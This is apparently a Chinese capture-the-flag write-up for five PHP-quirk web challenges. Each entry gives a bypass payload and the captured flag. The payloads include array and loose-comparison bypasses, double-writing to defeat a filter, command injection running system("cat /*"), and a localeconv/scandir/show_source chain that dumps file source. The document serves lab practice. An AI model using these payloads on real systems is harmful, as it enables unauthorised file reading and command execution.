PHP特性01
题目描述
源码
数组绕过绕过
GET:
username[]=1&password[]=2
flag为
qsnctf{7f06dde8-e934-43bc-9fb7-0a0bb91a4f8a}
PHP特性02
题目描述
源码
整数比较
绕过整数加字母或特殊符号
GET:
value=1a
flag为
qsnctf{bfa81665-0493-4538-9d30-308620bb7b76}
PHP特性03
题目描述
源码
replace_value函数:讲字符串替换
双写绕过
被过滤的字符使用双写绕过
GET:
value=庆历四年春,滕滕子京子京谪守巴巴陵郡陵郡。越明年,政通人和,百废俱兴,乃重修岳岳阳楼阳楼,增其旧制,刻唐贤今人诗赋于其上,属予作文以记之。
将他们要替换的字进行双写
flag为
qsnctf{6269c88c-a6c3-4721-b7e4-2709ee48ebdb}
PHP特性04
题目描述
源码
已知过滤了flag可以使用通配符*来代替
qsnctf需要base64加密
GET:
command=system("cat%20/*");&key=cXNuY3Rm
flag为
qsnctf{163906de-af08-4dc2-bc14-3b6e5fd8e6ba}
PHP特性05
题目描述
源码
根据以上需要传的参数以及被过滤的符号使用什么代替
get传参
使用url空格编码(%20)代替_
使用url回车编码(%0A)进行扩充长度
GET:
k%20e%20y=123%0A
POST传参
localeconv(): 这是一个PHP函数,返回包含当前本地化设置的信息的关联数组。这个数组通常包含了货币、日期和数字格式等方面的信息。
current(localeconv()): 这个部分获取 localeconv() 函数的返回值,然后使用 current 函数返回关联数组的第一个元素的值,即本地化设置的货币符号。
scandir(current(localeconv())): 这个函数获取一个目录路径作为参数,然后返回该目录中所有文件和目录的数组。在这里,它获取了本地化设置的货币符号,并将其作为目录路径传递给 scandir 函数。
array_reverse(scandir(current(localeconv()))): 这个部分先获取目录中的文件列表,然后使用 array_reverse 函数将文件列表反转,使得最后一个文件成为第一个。
next(array_reverse(scandir(current(localeconv())))): 这个函数从反转后的文件列表中获取下一个元素。由于之前已经用 array_reverse 反转了数组,因此这里获取的实际上是列表中的上一个文件。
show_source(next(array_reverse(scandir(current(localeconv())))));: 最后,show_source 函数用于显示文件的源代码。这里它显示了本地化目录中的下一个文件的源代码。
POST:
command=show_source(next(array_reverse(scandir(current(localeconv())))));
flag为
qsnctf{b418fc32-337a-426b-a337-de9f2a4122c8}
注意:flag是动态的